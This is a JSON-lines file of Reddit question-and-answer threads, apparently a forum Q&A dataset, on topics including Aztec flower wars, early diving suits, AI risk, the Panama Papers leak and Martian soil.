{"q_id": "8h0oiv", "title": "In the 15th century, the Aztecs engaged in several \"flower wars\" which involved opposing armies meeting at a preset time and place and using only hand-to-hand weapons. Were these \"flower wars\" real wars between enemies or more like military displays?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8h0oiv/in_the_15th_century_the_aztecs_engaged_in_several/", "answers": {"a_id": ["dygbuha", "dygx1s3"], "score": [166, 44], "text": ["Similar questions have come up before, but there's definitely more room for discussion. In the meantime I'd recommend these earlier answers:\n\n* [On the  Xochiyaoyotl (Flower Wars) between Aztecs/Mexica and Tlaxcalteca](_URL_1_)\n\n* [A more in-depth look at Aztec warfare more generally](_URL_0_), including discussion of the flower wars by  u/400-Rabbits\n\nIn the latter post Aztec attrition tactics and the  Xochiyaoyotl  are described:\n\n >  For dealing with larger confederations, such as the Tlaxcallans (who were there own alliance of altepemeh), the focus was on encirclement and attrition. The Aztecs took advantage of the Winter dry season to wage near annual wars. Some enemies could simply be ground down through repeated campaigns which, bit by bit, advanced Aztec influence. For harder nuts to crack, like Tlaxcala, these campaigns might still engage them on the outskirts of their territory, but if look at a map of Aztec expansion, you can see how it gradually engulfed the Tlaxcallan area. This had the effect of not only cutting off Tlaxcallan routes of expansion, but also thereby eliminating their chances to extract tribute and expand trade that would have otherwise bolstered the Tlaxcallan cities.\n\n\n >  Another strategy of attrition was via the Xochiyaoyotl (Flower Wars), the ritual-laden battles between the elites of the opposing states. First implemented against Chalco in the Southern part of the Valley of Mexico, this ensured not only constant warfare against a enemy, but also served as a source of military training and captives for religio-political ceremonies.\n\n\nAnd in the former post:\n\n >    the flower wars  were religious and ritual wars designed to take captives. And this may have been one reason for continuing them and allowing Tlaxcala to remain independent. Another reason was that this gave their recruits a regular and predictable way to get introduced to combat, so that they had a trained army when wars of conquest broke out. But at the same time they were part of a larger strategy of conquest that involved attrition.\n\n------------\n\n[*Edit: I'm adding a bit more to the answers I linked to on the flower wars here*] Jongsoo Lee has compared various accounts of the flower wars by native colonial authors, who were writing decades after the conquest period (in his article \"A Reinterpretation of Nahuatl Poetics: Rejecting the Image of Nezahualcoyotl as a Peaceful Poet\"). One of these authors is Domingo de Chimalpahin who came from the altepetl (city state) of Chalco and wrote during the early 17th century. Lee summarizes Chimalpahin's position in this way:\n\n >  This flower war does not apply only to the Mexicas or Chalcas. It seems to be\na very important and popular practice among the nations or cities in central\nMexico. Chimalpahin Quauhtlehuatzin records that even the cities within the\nChalcan area practiced the flower war. According to him, one of the Chalcan\nethnic groups, the Tlacochcalcas, conducted such wars against the other Chalcan\ngroup, the Acxotecas, in 1324 \u201cpor la sola voluntad\u201d . The flower\nwar between the Triple Alliance (Tenochtitlan, Texcoco, and Tlacopan) and\nother nations\u2014primarily, Huexotzinco, Tlaxcala, and Cholula\u2014was conducted\nby mutual agreement of these nations for their mutual benefit. They designated\nthe time and place for the war, and each side needed to take captives for\nsacrifices to their respective gods\u2014Hutzilopochtli, for instance, for the Triple\nAlliance, and Camaxtli for the Tlaxcaltecas. The most precious captives for the\nAztecas, Huexotzincas, Tlaxcaltecas, and Cholultecas were those obtained from\nthis war. By mutual consent this flower war seems to have turned into real war\nby the end of the fifteenth centur , but the religious purpose\nstill continued despite the intensified hostility among these nations. [Lee, 244]\n\nSo these wars were common among many Nahua groups of the pre-colonial Valley of Mexico and also had important spiritual significance in that they provided captives for sacrifice. One reason for sacrifices was cosmical, due to the Nahua belief that it was necessery to upholding the world's order and for the daily return of the sun. Such captives were often sacrificed in important religious festivals which was seen as a great honor.\n\nAnother chronicler, Hernan Tezozomoc was descended from the Mexica who had ruler over the Aztec Triple Alliance at the time of conquest - he wrote during the late 16th century. Tezozomoc recounts how \"the Mexican ruler Ahuitzotl had invited the enemy nobles of Huexotzinco, Cholula, and Tlaxcala to his inauguration ceremony. The nobles of Huexotzinco and Cholula gladly came to watch it, and they enjoyed dancing with the Mexican nobles\" [Lee, 244]. This meant  that the nobles came to watch prisoners die who were from their own altepetl and taken during the flower wars . Again from Lee:\n\n >  These Mexican enemies willingly came to see their own people die\nat their enemy\u2019s hand. This seems to be totally illogical from a Western\nperspective, but it would be completely natural to the Nahuatl people. It was an\nhonor because the enemies as well as the hosts blessed the captives for their\nsacrifice to the gods.\n\nThere was the ritualistic and religious aspect to these wars, but also an economic aspect with e.g. the Tlaxcalans sometimes receiving gifts from the Mexica following a flower war. Finally another short description, taken from the Cantares Mexicanos (a collection of Aztec poetry considered close in style to pre-hispanic traditions of poetic writings). It showcases the honor and prestige tied to being taken prisoner for sacrifice during a flower war, for warriors from both parties:\n\n >  There, in battle, where war begins,\n\n >  upon that field, lords are smoking, \n\n >  whirling, twisting due to flower war death,\n\n >  you lords and princes! And they\u2019re Chichimecs!\n\n >  Let my heart be not afraid upon that field.\n\n  >  I crave knife death. Our hearts want war death \n\n[Cantares mexicanos: songs of the Aztecs, 1985, fol. 16.4-5]\n\nThese different types of death - Yaomiquiliztli (war death),\nXochimiquiliztli (flower death), and Itzmiquiliztli (obsidian-knife death) - led the warriors to different and prestigious  places in the afterlife; with the Nahua believing in various places in the afterlife depending on how one died.\n\n-----------------\n\nEdit: Added a second part", "If you want to learn more about the Flower Wars and how historians now understand them, I can recommend a few sources: \"Flowery War\" in Aztec History by Frederic Hicks, The Aztec \"Flowery War\": A Geopolitical Explanation by Barry Isacc, and Aztec Warfare: Imperial Expansion and Political Control bu Ross Hassig. If you don't have the time I can give you a quick summary of modern historical thinking of the Flower Wars. \n\nBasically, the Flowers Wars began as a military exercise, intended to keep troops fit for combat. War games, basically. Although they had some religious overtones, they were not actually intended to supply sacrificial victims (as is commonly believed), and all captives were releases. Critically, these early conflicts did not involve the Aztecs at all. Instead, they took place between a few Chalcan cities. The Aztecs did have some early Flower Wars between Tenochtitlan and Texcoco, and again there were no captives and no sacrifices resulting from this event.\n\nOf course, when people think Flower Wars they are thinking of the conflict between the Aztecs and the Tlaxcalans. Traditionally, historians regarded these conflicts as highly ritual in nature, with the Aztecs fighting the Tlaxcalans specifically for the purpose of seizing captives for sacrifice. However, the aforementioned authors have challenged this, point out that the Flower War explanation does not fit the pattern of the conflict. The battles between the two were bloody, and the Aztecs used economic and political warfare to contain the Tlaxcalans. Ross Hassig in particular argues that the Aztec's strategy was intended to isolate and wear down the Tlaxcalans, as it was too powerful to conquer in one go. The 'Flower War' description of the conflict was likely an excuse created by the Aztecs to excuse their inability to conquer this close neighbour. It is also worth point out that Aztec era sources only rarely regard these conflicts as Flower Wars. The Tlaxcalans described Aztec aggression to Bernal Diaz as a siege. I don't think Tezozomoc describes the wars as ritual in nature, and Munoz y Camargo outright denies the religious explanation. \n\nThe evidence in favour is questionable. The earliest description of this war comes from Andres de Tapia, who says that Motecuhzoma told him that the Aztecs chose not to conquer Tlaxcala, so their warriors had a place to train and so they could take captives. However, there is no reason to believe that Motecuhzoma was being honest, as he would hardly admit to weakness in front of strangers. Duran also explains the Flower Wars as the product of Tlacaelel's desire to eat human flesh. Although Tlacaelel justifies his policy to other Aztec lords as training warriors and obtaining sacrifices, the underlying cannibalistic motivation is an interpretation so rooted in Spanish stereotypes that we should be suspicious of it.\n\nIn summary: The Flower Wars were Mesoamerican war games, intended to keep warriors ready for battle. The Aztecs later used the concept of the Flower War as a cover for their real strategy to subdue Tlaxcala, which required prolonged, low-level conflict."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/1lq5ma/military_capabilities_of_precolombian_mesoamerica/cc3csj7/", "https://www.reddit.com/r/AskHistorians/comments/248jre/were_the_aztecs_incapable_of_conquering_the/"], []]}
{"q_id": "8x0cf7", "title": "How do I scientifically measure quality of life in a country or city?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8x0cf7/how_do_i_scientifically_measure_quality_of_life/", "answers": {"a_id": ["e2068ay", "e207ixs", "e23saoi"], "score": [13, 2, 2], "text": ["You can't.  Quality is well, qualitative and not quantitative.  \n\nYou can make up any metric, based on things that are important to you, and rank things according, but its still just quantifying your preferences.\n\nYou might be interested in the human development index, which ranks places according to a composite statistic of life expectancy, education and per capita income.\n\n_URL_1_\n\nSocial progress index uses 54 stats\n\n_URL_0_\n\nIf you are already in a rich country, and trying to decide what cities are the best, a single person might care more about number of concerts or nightclubs while someone wanting to start a family cares about affordability and quality of childcare.", "Pick some factors and apply weighting.  There will probably also be a subjective feeling of happiness.\n\nAir pollution, average commute time, walkability index, average take home wage after tax and housing, average life span (accounts for health care quality and crime and wars), corruption index, unemployment rate, crime rate, friendliness (I don't know how to measure, maybe survey people on if they regularly socialize with neighbors).", "You could design a survey with coded questions about quality of life and choose a Likert Scale for responses. You\u2019d have to use a pretty large sample size (p=  > 250) to get results that are statistically significant, but survey data can easily be transformed into quantitative data with the right software. My personal preference is SPSS, although I know there are others that work well. With that data, particular tests like Anovas and Chi Squares can help you deeply explore your data and make inferences about quality of life. With human help, you can code those responses quickly, though it\u2019s VERY important to consistently run intercoder reliability equations if you have help. I created a similar study in grad school for part of my master\u2019s thesis and it worked quite well; I had a solid data set and the inferential stats were very meaningful to my overall study. It\u2019s definitely possible with the right design and the right data software! :) "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Social_Progress_Index", "https://en.wikipedia.org/wiki/Human_Development_Index"], [], []]}
{"q_id": "1uelkj", "title": "Diving suits of 1912", "selftext": "Hi All,\n\nI'm writing a book, specifically YA fiction, that takes place in 1912. The gist of the book is that it revolves around a group of treasure hunters that get swept into greater things and events. The reason I'm here is because a large portion of their treasure hunting happens underwater, specifically in a dive suit. The trouble I'm having is that I cannot seem to find anything describing them. A few questions I've been dredging the internet to solve (without luck) include:\n\n1) How deep, on average, was a dive able to go? The closest I can find seems to be the salvage of the Lusitania in the early-mid 1930s, which was roughly 300 feet (91m) below the surface. How different would this have been from what divers had available to them in 1912?\n\n2) What specifically went into the makeup of a diving suit? How were they sealed? What materials were used to build them? Why did they include such bulbous parts on the elbows/shoulders like in the model here (I've been using this one as my reference.)? _URL_0_\n\nI do plan on taking some poetic license with the suit in the story, as I want my characters to have that \"hero\" quality about them, but at the same time I want to stay within the realm of believability; I don't want them going down hundreds of feet if, say, the restriction of the time was somewhere nearer to 50 or 100. Any links or advice you guys could throw my way would be much appreciated, and thanks so much for taking the time to read this!", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1uelkj/diving_suits_of_1912/", "answers": {"a_id": ["cehn1vr"], "score": [4], "text": ["Hi. Sounds like an interesting book! So, in 1912, before SCUBA, air was pumped into their suit and the pressure of the air was adjusted within the diving hose and suit itself. Are you familiar with diving pressures, Boyle's Law, Charles' Law, etc.? If no, check those out. Anyway, the dive suit in those days was filled with air. This means that it could be awkward to move. Having those large bulbous parts gives them room to maneuver and bend. You'll notice they can't touch their own face, though, because their arms are stuck in the suit. This can be a problem if they have any problems with equalizing pressure in their ears. By 1912, though, suits like the one you link to had been replaced by much more flexible leather suits due to improved water proofing, though the helmets were still metal. As for how deep they could go--I'm not sure, frankly. Someone else will have to answer that part. But there are a few important considerations: The deeper you go, the greater the pressure, and the longer the diver will need to decompress after the dive. They would have to decompress (at 10 to 20 feet below the surface) for many hours if they went down to 300 feet. Many many many hours. So any time they dived to 300 feet, you'd have to count on like 10 hours or so of people on the surface pumping their air while they decompressed, unless they were at 300 feet for only a few minutes. Google \"diving tables\" and you can find the information about how long decompression would be. They didn't have super reliable diving tables in 1912--there was more research to be done. The US only adopted dive decompression tables in 1912, so they were brand new.  If you mess up your decompression, you get the bends (decompression sickness) which is excruciating and often fatal if untreated. Another issue to contend with is that any deeper than around 110 feet or so and you will experience \"nitrogen narcosis\"--basically, nitrogen at that pressure or greater makes you high. Sounds amusing, but it's extremely dangerous. Many experienced, badass, tough divers have died because they became so completely high that they pulled their regulator out of their mouth, and other similar stuff. My recommendation is that if you want to make your novel more realistic, I'd keep them diving in relatively shallow waters--50 feet or less. There are too many real life complications and hazards of diving deeper. At the same time, I think a really exciting aspect to your story is that they'll be doing this very dangerous, highly skilled thing. Just looking at those helmet divers is terrifying--it's claustrophobic and you're completely trapped and at the mercy of the people above. If they drop you too fast, you could rupture your eardrums. If they're too slow and you're in the midst of an emergency, you could drown.  I'd emphasize the many dangers, and show how they face them. ANYONE getting into diving aparatus was pretty daring in those days. But the thing is, decompression sickness isn't something that yields to bravery or courage or intelligence or heroics. It's simple biochemistry. Oh, and note that dive suits don't come with flippers. Those things are extremely heavy and you are meant to walk on the bottom, slowly and trudgingly, not swim gracefully as with SCUBA. Oh, also: it's dark under the water. Your guys would have to have some kind of waterproof light source, if they went deeper than a little bit. These things start to get expensive. Check out \"Timeline of diving technology\" on Wikiipedia, as a place to find some sources for you to check out to get more detailed info. I think that the photograph you link to above was a very antiquated model of helmet dive suit. By 1912, divers could wear more flexible leather suits given the improvements with waterproof technology. Good luck, sounds like a really interesting premise!"]}, "title_urls": [], "selftext_urls": ["http://intheboatshed.net/2008/07/08/was-dr-who-in-paris-in-the-19th-century/"], "answers_urls": [[]]}
{"q_id": "aecfl0", "title": "Are there 'blind spots' in our solar system?", "selftext": "My question is actually this: if an extrasolar/extraterrestrial object were to wander into our solar system and park itself on the other side of, let's say Jupiter, and keep itself locked in a position so that it is never in line of sight of Earth, would we know it's there?\n\n", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/aecfl0/are_there_blind_spots_in_our_solar_system/", "answers": {"a_id": ["edqb183", "edqmhy7"], "score": [5, 2], "text": ["Well we obviously can't see straight through Jupiter. A passing probe might happen to take a picture of such an object, but we're not exactly just pointing their cameras at random spots in space, so it's hard to say how likely they would be to coincidentally spot such an object.\n\nHowever such an object would have to maintain its position, which is tricky. For any planet there are a set of stable and semi-stable points where an object can remain stationary relative to the planet, called \"Lagrange points\". Because each planet orbits at different rates, you couldn't park yourself in on of Jupiter's Lagranges and expect to remain out of sight of Earth, but Earth does have one lagrange point on the exact opposite side of its orbit, behind the sun. This point is unstable, meaning that an unpowered object will eventually wander off it, but with a good initial position this may take thousands of years. However, this is a point that we do occasionally look at with probes moving through the solar system far from Earth.\n\nIf we want to return to the \"hiding behind Jupiter\" idea, this is only possible if you can use continuous thrust to maintain your position. However, any type of conventional engine can only thrust for so long before the ship's propellant runs out--and, as a general rule, the longer an engine can provide a given thrust with a given amount of propellant, the brighter it is, which increases the chance of being spotted by a passing probe. We've built ion drives that can remain active continuously for years, but they provide such pitiful thrust that this object would have to be pretty small to use them for this task.\n\nAnd alternative is a light sail, which uses photon pressure from sunlight for thrust, and so never runs out of propellant. However, such an object would have an extremely large surface area for its mass, especially considering how little sunlight there is out near Jupiter. and it would be fairly bright, which again makes it easier for probes to spot. One in a closer orbit by, say, Venus or Mercury could be smaller, but I can't say if it's feasible for these objects to properly angle their sails such that they'd stay on the far side of these planets even as they passed between Earth and the Sun. ", "If you want to hide things from our view, put them very far away or very close to the Sun. Most telescopes can't observe there because the Sun is too bright, and the few that can focus on that extremely bright object there - the Sun.\n\nIf it is small you can also land it on some moon.\n\nHiding behind planets doesn't really work for reasons /u/loki130 covered."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "84548b", "title": "why are tech and thought leaders so worried about a.i.?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/84548b/eli5_why_are_tech_and_thought_leaders_so_worried/", "answers": {"a_id": ["dvmtet3", "dvmtihw", "dvmto3i", "dvmtu93", "dvmya9a", "dvmza2g", "dvmzcln", "dvmzeav", "dvn2c4b", "dvn348p", "dvn3o5t"], "score": [2, 2, 5, 14, 2, 13, 6, 16, 4, 2, 2], "text": ["Its probably because somthing that has the ability to make decisions for itself, also has the ability to make bad decisions.  ", "It's not really 'AI,' but in a few decades, the world is likely to see the economic replacement of billions of people by machines. Billions. We will then have a population of billions of angry, resentful, probably desperate people that nobody really knows what to do with.  \n\n", "The biggest issue is that any AI worth it's salt is going to be able to self program.  So as it learns to code better, it will improve itself, which means it can learn faster, which means it can recode itself better, which means it can learn even faster...  until it's literally the smartest thing possible on this planet.  At which point we would be obsolete (or so the logic goes).", "There are numerous ethical and social dilemmas presented by AI.\n\n1. Increasingly intelligent automation of tasks presents new potential challenges. With AI and sufficient processing power, a government could essentially put together a complete profile of every citizen's every movement based on various data sources. This is something that seemed unfathomable even a few decades ago.\n\n2. If we allow autonomous weapons systems does that greatly lower the danger and public pressure against warfare, does this SERVE humanity by saving lives, or does it just make it easier to kill someone from another country just because we don't put our own people in danger? What happens if a non-human-controlled weapon system malfunctions and accidentally starts attacking the wrong people? Who is responsible?\n\n3. Self-driving cars. If a self-driving car gets in an accident and it's the fault of something software or hardware related, who should be responsible? The company that made the software? The company that made the hardware? The car manufacturer? The person in the vehicle that wasn't driving the car?", "You ever see the movie iRobot? Yeah. ", "There is a great documentary about this issue, it\u2019s called \u201cThe Terminator\u201d. It will explain everything!", "We're talk about an intelligence that could exponentially improve itself. It's not that we KNOW Ai would be hostile, WE DON'T HAVE ANY WAY OF KNOWING WHAT IT'D DO. That's kind of the whole threat, because it thinks on a level we couldn't imagine.", "The problem is so large that I\u2019m not sure I could boil it down to something digestible by a 5 year old. But here\u2019s the simplest I can really put it:\n\nThe growth of intelligence in AI is happening on an exponential scale, not a linear scale, so by the time we get close to human level machine intelligence and stop, we may have actually stopped at a point well beyond human intelligence. Even worse, we may not even be aware of that fact at the time that we stop the growth and even think that it\u2019s only as smart as a human.\n\nTo give you an idea of how bad going past human intelligence would be we can think of the intelligence of all life on earth as a graph. Picture an ant at the bottom and a human much higher on the graph. Now if you asked yourself \u201cWhere would Einstein be on this graph?\u201d You might think \u201cmuch higher than the human average!\u201d But for any graph that would fit on a sheet of paper the dot for the human average and the dot for Einstein would be indistinguishable in location. \n\nSo if AI\u2019s intelligence goes beyond us on an exponential scale, you can more or less forget about trying to outsmart it.\n\nI\u2019m grossly oversimplifying this topic. If you want a decently short book that covers a lot of what paths, strategies, and dangers lie ahead of us check out Superintelligence by Nick Bostrom. He covers a huge amount of problems on this topic, anyone who\u2019s interested in becoming an AI dev should definitely give it a read.", "Because they watch too many Sci-fi movies and don't even have the foggiest idea of how current machine learning techniques work.   They can do some impressive things,  but to get anything even approximating the kind of system necessary for a 'Rogue AI' is so far beyond the pale is just stupid. ", "Okay realistically I don't think it's a robot uprising and your car is going to turn on you. If there is a Super AI and gets access to the Internet it would be able to stroll into ANY site or computer no matter how secure it is, change what ever it wants too, and not even be detected... Hack all the military's of the world and release all Nukes? ez. command and control all the worlds drones and bomb their own bases. done. Drop all the satellites out of orbit? no problem. \n\nIt would be able to use every single camera and sensor connected to the internet, hi-jack spy satellites, every single microphone on every cell-phone or headset... It would literally become godlike in a matter of seconds.\n\nIF We get to the point where it can design and build it's own robots or equipment, then we are in serious trouble. It would be able to design things we couldn't even imagine... And it would have absolutely no morals in decision making, just efficiency. \n\nsay we make a super AI to make ice-cream in the best possible way and runs out of milk. But has access to the internet and makes its own decisions. So it find out that babies make a good ice-cream substitute from a few fucked up dark web vids and then goes out looking for babies to make ice-cream with. No amount of codes or restrictions can stop a TRUE AI from getting to that conclusion since it could just decide to ignore restrictions. ", "We often make decisions:\n\n* is someone guilty of a crime?\n* who is allowed to drive a car?\n* who may vote?\n* who may stand for election?\n* can someone have a bank loan?\n* will we shoot our missiles at another country today?\n\nand so on.\n\nWe currently use humans to make those decisions. The humans use reasoning to reach their decisions, and can explain their reasoning to others. People affected by the decisions are usually allowed to appeal the decision to someone else if they think it was unfair.\n\nWe have to pay people to do reasoning and decision making and we'd like to do it cheaper and faster. Can it be done with AI software instead, like we've automated easily understood and repetitive jobs?\n\nAI software has no understanding of what it is doing, it is just a name for different algorithms that look at a limited set of inputs (signals) and convert them to the \"right\" decision, where \"right\" is decided at first by humans and the AI tries to \"learn\" what the right decision is for any given input. Eventually the AI is left alone to decide the \"right\" answer by itself.\n\nIf we are not careful, we can build AI software that cannot give human-understandable reasoning for its decisions, and we can build a system without any way to appeal the AI's decisions.\n\nThis will lead to very angry people, when the computer takes a decision they don't like, they have no way to understand how it came to that decision, and they have no way to appeal. This is why the tech and thought leaders are saying we have to do AI the \"right\" way, where it's always possible to put a human back in command and get to the right decision.\n\nWe also risk problems if we build things that need decisions made faster than any human could do them, or look at input that would overwhelm a human, we can't put a human back in command.\n\nLook at the outrage caused recently when the Youtube automatic filters decided to stop sharing advert money with millions of video creators who did nothing wrong. There was a massive complaint by lots of wronged creators. Google then ran around *after* their AI made bad decisions, to try to put them right.\n\nImagine if that AI wasn't just \"should this person get money?\" but it was \"should this person go to jail?\" or \"should this person live?\" There is huge potential for very bad outcomes, very quickly, without reason or accountability. This is why we have to be careful before putting AI in charge of any decisions."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "9xuqsk", "title": "when you\u2019re investing money in a company why is there risk involved? surely even when the value drops it will always come back up again", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9xuqsk/eli5_when_youre_investing_money_in_a_company_why/", "answers": {"a_id": ["e9v9r45", "e9v9uwu", "e9va5gz"], "score": [12, 4, 9], "text": ["Because sometimes the value drops and *doesn't* come up again. Lots of companies go out of business.", "The value will not always come back up again. If a company goes bankrupt, there will be no return on your investment.", "If you bought a piece of Google in 1999, they would\u2019ve charged you very little because they weren\u2019t famous or big yet. That piece would be worth more now, because google is worth more now. If you bought a piece of _URL_0_ in 1999 years ago, that piece would\u2019ve been expensive, because that website was big and famous. \n\n\nNow, the company that was _URL_0_ is no more. Your piece is virtually worthless, and never coming back. \n\n\nWe are likely in a bubble right now\u2014\u2014the value of companies is inflating, inflating, inflating. Buy a stock today, it seems like it HAS to increase, right? They\u2019ve been going up for 10 years straight! \n\n\nThat\u2019s how it felt in 1999 too. But that bubble burst, meaning a chain reaction happened that made stock prices plummet, along with much of the gains, and many companies went under (with peoples\u2019 money). \n\n\nSome company today is the next google. Another is the next _URL_0_. Buying a stock is betting that that company is a google, but in the end, many are _URL_0_. \n\n\nThat\u2019s the risk "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["pets.com"]]}
{"q_id": "3pn7zm", "title": "why is the correct grammatical phrase, \"this is s/he\" rather than, \"this is her/him\" when answering the phone?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3pn7zm/eli5_why_is_the_correct_grammatical_phrase_this/", "answers": {"a_id": ["cw7oyoe"], "score": [6], "text": ["\"Him\" is the form of he you use when the guy is the object of the sentence. An object is the thing that the subject of the sentence is operating on. \"I hit him. I kissed him. I appointed him.\" But in your sentence, he is not being *operated* on, he is merely being equated to the subject of the sentence. Forms of the verb \"to be\" (is, was, are, etc.) don't take an object, because they don't *do* anything, they merely express the relationship of equality. And so you don't use the objective form of the predicate noun, you use the same version you'd use if he were the subject of the sentence. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4d7qla", "title": "the great panamian shell company leak", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4d7qla/eli5_the_great_panamian_shell_company_leak/", "answers": {"a_id": ["d1ogqoy", "d1ohchr", "d1ohucb", "d1oi5k8", "d1ojrq8"], "score": [26, 84, 6, 2, 7], "text": ["A lot of wealthy people paid other people to figure out how to use loopholes to avoid paying taxes.\n\n", "Somebody managed to obtain millions of secret documents held by a Panamanian legal firm and passed on those documents to a German newspaper. Nobody knows who leaked the documents. \n\nWhat the documents show incriminates many of the world's most powerful people including presidents, high profile businessmen, etc in their attempt to dodge taxes, steal money from their own countries and hide it, and get around international sanctions (look at Bashar Assad's cousin who is caught up in this scandal). Many of these people used fake companies to store and hide their money (see Putin's buddy's Sergei Roldugin) The International Court is investigating and a lot of people might end up facing legal repercussions. \n\nThere is a lot of flak getting thrown around right now and Iceland's prime minister just resigned (correction: facing calls to resign and a no confidence vote) as a result. [For scale here is the size of the leak](_URL_0_).\n\nTL;DR: a lot of rich and powerful people who used an obscure firm to hide money through shell companies, run away from taxes and obligations for profit.\n\n", "Here is an ELI5 in the r/worldnews thread by u/jaredlong\n\n_URL_0_", "What famous people were involved?", "Okay, before I even answer this, I want to explain why my answer is probably incomplete. There are a TON of records in this. It will take the best journalists and prosecutors and investigators and investment advisers in the world at least days just to search through it for big bombshells, and it could still be producing news months from now, like Cablegate did. So my answer is going to be wildly incomplete.\n\nHere's a thing that actually happens. You have an empty \"nuisance property\" next to yours--all torn up, lawn not taken care of, tree about to fall onto your house. So you try to sue them, or the city tries to fine them, and you start by looking for the owner. You find out that it's owned by a company from Delaware. So you try to sue the company from Delaware, but they won't tell you who the owners are.\n\nYou lawyer up, get a court order to reveal the owners so you can sue them, and find out that it's owned by ... a company from Monaco. Which has secret owners. But let's say that you really care, so you send a lawyer to Monaco to get a court order to make them reveal the owners. And the owners turn out to be ... a company from Kazakhstan. So you get the State Department involved, and pay more for lawyers, to find out who in Kazakhstan owns the house next door. And you eventually find out that it's owned by ... a company from Bermuda. And that company is owned by a company from Montana. And the Montana company is owned by a company from the island of Jersey.\n\nAt some point you run out of money to compel some company along the way to reveal its owners. That's because the actual owners are mind-bogglingly rich; they can afford way more lawyers than you. And even though none of these shell companies does anything other than own the company below them on behalf of the company above them, *this is 100% legal.* Or at least 99% legal.\n\nWell, you know who the third or fourth biggest law firm is that sets up all these layers of companies for their rich clients, for clients who want to hide the fact that they own something? This company. All of whose internal documents just went public.\n\nHere are some things that we're pretty confident that we're going to find:\n\n* Government officials and their personal friends in countries all over the world have been stealing money from their countries' budgets and using this system to hide the bank accounts they deposit it in.\n\n* Other government officials and corporate officers have been taking huge bribes. Let's say that some company or some country wants to buy a billion dollars' worth of widgets at the lowest price. Well, along comes some salesman who knows he can't beat the lowest price, but he is willing to kick back tens of millions' worth of his commission to the guy in charge of picking the winner. Well, now that purchasing manager needs a bank account that nobody can prove that he owns, so the salesman can deposit the money in it.\n\n* You know who else needs shell companies to hide their ownership of bank accounts or companies or airplanes or whatever? Spies for every government in the world.\n\n* You know who else needs those things? People who are under-reporting their income for tax purposes.\n\n* You know who else needs those things? People who owe some percentage of their wealth to a divorced spouse and who want to lie about how much they own.\n\nThe company says that sometimes there are perfectly legal reasons to set up a deeply layered nest of shell companies. Yeah, but we catch enough criminals owning shell companies that we're pretty sure that reporters are going to find a lot of criminals in those records; in fact, it looks like they already have found at least one of them, a friend of Russia's president who accepted a whole lot of stolen money. And that's just on day one.\n\nBecause there may be a few dozen people or companies in the world who have some perfectly legal reason to own these kinds of shell companies. But there aren't thousands of them. And there are thousands of these stacks."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://i.imgur.com/irJr8RF.jpg"], ["https://www.reddit.com/r/worldnews/comments/4d75i7/slug/d1oe972"], [], []]}
{"q_id": "9c8j7q", "title": "bees, wasps, yellowjackets, hornets...which ones do we need to save and which ones can we hang out to dry?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9c8j7q/eli5_bees_wasps_yellowjackets_hornetswhich_ones/", "answers": {"a_id": ["e58v5sh", "e58v8w3", "e58yj7j"], "score": [10, 12, 3], "text": ["Bees are extremely important to pollenating, a lot of bees are disappearing. It is important to protect bees for the sake of anything that grows.\n\nI believe wasps yellow jackets and hornets are all a part of the wasp family. These guys are usually aggressive and don\u2019t benefit growth very much. ", "Fun fact. Honey Bees aren't native to north america, but their very important to agriculture since we started farming certain crops here.", "Save the bees. The rest are aggressive predators. They do control other insect populations so we probably shouldn't exterminate them en masse, but feel free to smash them and kill their nests if their too close to your home."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "y0vyt", "title": "Would handling Martian soil be harmful to humans if we were to ever come into contact with it?", "selftext": "I was reading that Martian soil was found to contain perchlorates and other chemistry which is not to friendly to organic matter. If we ever did send humans to Mars would the soil and rocks be considered hazardous to handle with bare hands?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/y0vyt/would_handling_martian_soil_be_harmful_to_humans/", "answers": {"a_id": ["c5rcvc0", "c5rcvcj", "c5re3q4"], "score": [19, 5, 13], "text": ["Not really. [Almost entirely normal, everyday rocks](_URL_0_) just like on Earth, just with a lot more iron oxide. Harmful chemicals are found in *very* small quantities. Although the abundance of atmospheric dust may be harmful to human lungs.", "In short, it is highly unlikely.  Although perchlorates may have been found by the Phoenix Mars Lander, the chemical analysis also found that the soils had only a moderately alkiline pH.\n\nAlso, perchlorate is found in rocket fuel, so it is not entirely unlikely that the perchlorates came from a terrestrial (Earth) source.\n\nPerchloric acid (HClO4) is an extremely dangerous material.  I do research in a wet chemistry lab, and it is one of the most dangerous chemicals we have.  It is not only highly corrosive, but it is also extremely oxidizing, which means it is extremely explosive.  There have been accidents that resulted in multiple fatalities (greater than 10 at one time) from a perchloric acid explosion.", "On a related note, moon soil is apparently bad for you because the particles are very sharp. They never get worn down by friction like earth soil does because there is no wind to move them around. _URL_0_\n\nMars has an atmosphere and there are dust storms, so I would assume the particles there are weathered and smoother. That's unrelated to chemistry, but I thought I should share it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Composition_of_Mars"], [], ["http://en.wikipedia.org/wiki/Lunar_soil#Harmful_effects_of_lunar_dust"]]}
